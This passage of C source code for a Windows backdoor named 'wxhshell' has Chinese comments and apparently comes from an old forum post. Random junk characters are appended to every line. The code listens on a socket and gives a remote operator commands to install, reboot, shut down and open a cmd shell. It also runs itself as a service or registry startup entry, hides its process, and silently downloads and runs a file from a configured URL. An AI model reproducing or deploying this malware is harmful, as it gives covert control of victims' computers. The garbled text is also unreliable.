  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UPI- j#yc  
  } B;r_[^  
  else { =P]Z"Ok  
*O :JECKU  
    switch(cmd[0]) { .;]WcC<3  
  p L"{Uqi  
  // 帮助 x ;|HT  
  case '?': { :QGkYJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oFj_o  
    break; ^e8xg=8(  
  } -K'UXoU1  
  // 安装 8YFG*HSa  
  case 'i': { taE p   
    if(Install()) WR{m?neE_N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S ag  
    else F:!6B b C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B/wD~xC?x  
    break; ) 2Ei<  
    } hOwb   
  // 卸载 `(FjOd K  
  case 'r': { ENuL!H>;*  
    if(Uninstall()) C2}y#AI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>]g="5}8  
    else @G" nkB   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k( :Bl  
    break; :C*}Yg  
    } ]E-/}Ysz  
  // 显示 wxhshell 所在路径 >qo!#vJc a  
  case 'p': { ?6CLUu|7n  
    char svExeFile[MAX_PATH]; w7Yu} JY^  
    strcpy(svExeFile,"\n\r"); KL'1)G"OH  
      strcat(svExeFile,ExeFile); o8R_ Ojh  
        send(wsh,svExeFile,strlen(svExeFile),0); itYoR-XJ  
    break; EB}B75)x  
    } a;xeHbE  
  // 重启 SZF 8InyF  
  case 'b': { ^2~ZOP$A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p AOKy  
    if(Boot(REBOOT)) 8"j$=T6;W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c["1t1G  
    else { 6Qkjr</  
    closesocket(wsh); ,`bW (V  
    ExitThread(0); },8|9z#pyB  
    } _ LHbP=B  
    break; ku5|cF*%  
    } Cw,a)XB  
  // 关机 /x??J4r0  
  case 'd': { yv4x.cfI2W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \6|y~5Hw{r  
    if(Boot(SHUTDOWN)) 1eD#-tzV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pTCD1)  
    else { K=N&kda   
    closesocket(wsh); dHDtY$/_  
    ExitThread(0); nK;d\DO  
    } y|| n9  
    break; 9i\RdJv.  
    } R4'.QZ-x  
  // 获取shell C ~h#pAh  
  case 's': { cg8/v:B  
    CmdShell(wsh); n+8YTjd  
    closesocket(wsh); 5nx*D"  
    ExitThread(0); l ms^|?  
    break; i{fw?))+  
  } =MqEbQn{C3  
  // 退出 D`p2aeI  
  case 'x': { RnkV)ed(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nX!%9x$3  
    CloseIt(wsh); hl:Ba2_E +  
    break; 4mDHAR%D  
    } `j{3|C=  
  // 离开 ~EBaVl ({  
  case 'q': { 2H`r:x<Z-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (2;Aqx5i  
    closesocket(wsh); mfj{_fR3  
    WSACleanup(); SD^::bH  
    exit(1); c,r6+oX  
    break; z\|<h=EU  
        } uU)t_W&-J  
  } >GIQT ?O6  
  } QT%`=b  
&}u_e`A  
  // 提示信息 w: BJ4bi=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ._0$#J S[  
} 5S4Nx>  
  } K}cZK  
&>c=/]Lop  
  return; Qr R+3kxM  
} %bP+P(vZ  
&b@_ah+f  
// shell模块句柄 K>'4^W5d,  
int CmdShell(SOCKET sock) (Mfqzy  
{ TIp\-  
STARTUPINFO si; .u A O.<  
ZeroMemory(&si,sizeof(si)); %`$bQU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z2W&_(^.h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l iY/BkpH  
PROCESS_INFORMATION ProcessInfo; @g[ijs\  
char cmdline[]="cmd"; Ov(k:"N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h Wt_}'  
  return 0; i|h{<X7[  
} #b d=G(o~6  
Jj ]<SWh  
// 自身启动模式 l3u[  
int StartFromService(void) '{,JuX"n  
{ H2],auBY  
typedef struct dU-:#QV6  
{ QHv]7&^rlj  
  DWORD ExitStatus; qg j;E=7  
  DWORD PebBaseAddress; Z%?>H iy'o  
  DWORD AffinityMask; GNW$:=0u  
  DWORD BasePriority; :30daKo  
  ULONG UniqueProcessId; w8+ phN(-M  
  ULONG InheritedFromUniqueProcessId; d*u3]&?x&f  
}   PROCESS_BASIC_INFORMATION; %;wD B2k*  
%{ U (y#  
PROCNTQSIP NtQueryInformationProcess; }D1? Z7p  
HxR5&o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |$tF{\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \/dOv [  
p_xJ KQS  
  HANDLE             hProcess; %5L~&W}^"  
  PROCESS_BASIC_INFORMATION pbi; l%V+] skS  
."Pn[$'.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ks3YrKk;p  
  if(NULL == hInst ) return 0; "U9e)a0v  
~e|E5[-i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <YCjo[(~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GB+$ed5@<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7IUJHc?  
[?6+ r  
  if (!NtQueryInformationProcess) return 0; G9S3r3  
l )r^|9{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0]ai*\,W7~  
  if(!hProcess) return 0; sfVzVS[  
`_&vvJPn@!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K z^.v`  
nVpDjUpN  
  CloseHandle(hProcess); wI7.M Gt  
yTc&C)Jba  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HZ(giAyjq  
if(hProcess==NULL) return 0; FS7D  
>uJu!+#  
HMODULE hMod; UJS vtD{g  
char procName[255]; F`;q9<NYRW  
unsigned long cbNeeded; W G3 _(mM  
f/ 3'lPK^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .mnkV -m  
2kgSIvk\  
  CloseHandle(hProcess); -4Q\FLC'k  
fda2dY;  
if(strstr(procName,"services")) return 1; // 以服务启动 YPs9Pqkn  
:S`12*_g"  
  return 0; // 注册表启动 {_>XsB  
} p>U= Jg  
T2?.o.&u  
// 主模块 G~zfPBN0D  
int StartWxhshell(LPSTR lpCmdLine) _+}o/449  
{ 2(Xu?W 7d  
  SOCKET wsl; #.FhN x  
BOOL val=TRUE; (R s;+S  
  int port=0; &/Gf@[  
  struct sockaddr_in door; 9r:|u:i7m  
\1u^?cBd  
  if(wscfg.ws_autoins) Install(); \0*dKgN  
_+Z;pt$C  
port=atoi(lpCmdLine); HH3Z?g  
f4`Nws-dP  
if(port<=0) port=wscfg.ws_port; 4<EC50@.  
Ga^:y=m  
  WSADATA data; "6~+ -_:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A{3nz DLI  
]:#W$9,WL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t[HsqnP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pgUjje>#  
  door.sin_family = AF_INET; *>GRU8_}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %U[H`E  
  door.sin_port = htons(port); B<|Vm.D  
5IgO4<B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6!6R3Za$  
closesocket(wsl); TCgW^iu  
return 1; U[pR `u  
} HKC&grp  
Wa!C2nB  
  if(listen(wsl,2) == INVALID_SOCKET) { `OZiN;*|  
closesocket(wsl); ?>R(;B|ER  
return 1; <\d`}A:&  
} C szZr>Z  
  Wxhshell(wsl); 1vh[sKv9%  
  WSACleanup(); >2'A~?%  
A/Sj>Y1j  
return 0; &[ |Z2}  
16ip:/5  
} {\h:k\k  
1Si$Q  
// 以NT服务方式启动 :VR% I;g;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ASSe;+yp  
{ F$s:\ N  
DWORD   status = 0; i\>?b)a>  
  DWORD   specificError = 0xfffffff; M^n^wz  
MHCwjo"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YvUV9qps~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M3fTU CR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q}^qu6  
  serviceStatus.dwWin32ExitCode     = 0; I 'ha=PeVn  
  serviceStatus.dwServiceSpecificExitCode = 0; =+VDb5= TV  
  serviceStatus.dwCheckPoint       = 0; msq2/sS~  
  serviceStatus.dwWaitHint       = 0; ziQ&M\  
Wq25,M'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gP ^A  
  if (hServiceStatusHandle==0) return; I!Fd~g9I4  
Vc8w[oS  
status = GetLastError(); B;<zA' 1  
  if (status!=NO_ERROR) a 4? c~bs  
{ KO))2GET  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e[QEOx/-h2  
    serviceStatus.dwCheckPoint       = 0; HSACaTVK  
    serviceStatus.dwWaitHint       = 0; /W{^hVkvC  
    serviceStatus.dwWin32ExitCode     = status; jU{~3Gn?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 94lz?-j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~'Korxa  
    return; US<l4  
  } r+a0.  
AgOti]`aR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C)cuy7<  
  serviceStatus.dwCheckPoint       = 0; i2 )$%M&  
  serviceStatus.dwWaitHint       = 0; $%1oZ{&M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T'5MO\  
} +^$E)Ol  
3'55!DE  
// 处理NT服务事件,比如:启动、停止 d263#R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )SaMfP1=v  
{ =|V#~p*  
switch(fdwControl) ^ b{~]I  
{ > =Na,D  
case SERVICE_CONTROL_STOP: Ibv`/8xh  
  serviceStatus.dwWin32ExitCode = 0; p3IhK>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )|&FBz;  
  serviceStatus.dwCheckPoint   = 0; ;YrmT9Jx6  
  serviceStatus.dwWaitHint     = 0; fKkS_c 2  
  { 9$ixjkIg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F>k/;@d  
  } LP>GM=S#"  
  return; 4@jX{{^6%  
case SERVICE_CONTROL_PAUSE: Upc_"mkI.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &8JK^zQq  
  break; : TP\pH7E  
case SERVICE_CONTROL_CONTINUE: `cFNO:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g9F?j  
  break; iG{xDj{CKv  
case SERVICE_CONTROL_INTERROGATE: #a 4X*X.8c  
  break; FD8d-G  
}; gS!zaD7Nr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QRdh2YH`  
} P\$%p-G  
X(;W Y^i!  
// 标准应用程序主函数 <@>l9_=R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }4q1"iMlO  
{ N3\vd_D(  
T=[ /x=  
// 获取操作系统版本 nz/cs n  
OsIsNt=GetOsVer(); nR,QqIFFw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }Rq{9j,%  
(J.U{N v  
  // 从命令行安装 Sj<]~*y"  
  if(strpbrk(lpCmdLine,"iI")) Install(); b%xG^jUXsX  
}u;`k'J@  
  // 下载执行文件 &Y 2Dft_K  
if(wscfg.ws_downexe) { cJ'OqV F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )D7/[zb^  
  WinExec(wscfg.ws_filenam,SW_HIDE); @lCyH(c%  
} %vRCs]  
TV?MB(mN  
if(!OsIsNt) { ey`E E/WV  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;y-sd?pAk  
HideProc(); |0VZ1{=*  
StartWxhshell(lpCmdLine); {Lsl2@22  
} p<\7" SB=  
else ,HK-mAH   
  if(StartFromService()) ]}9[ys  
  // 以服务方式启动 ^K:-r !v^  
  StartServiceCtrlDispatcher(DispatchTable); G54`{V4&s  
else |+Tq[5&R  
  // 普通方式启动 ?:i,%]zxC  
  StartWxhshell(lpCmdLine); lPg?Fk7AP  
~ L"?C  
return 0;  =tc!"{  
}
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只看该作者 1 发表于: 2006-10-10
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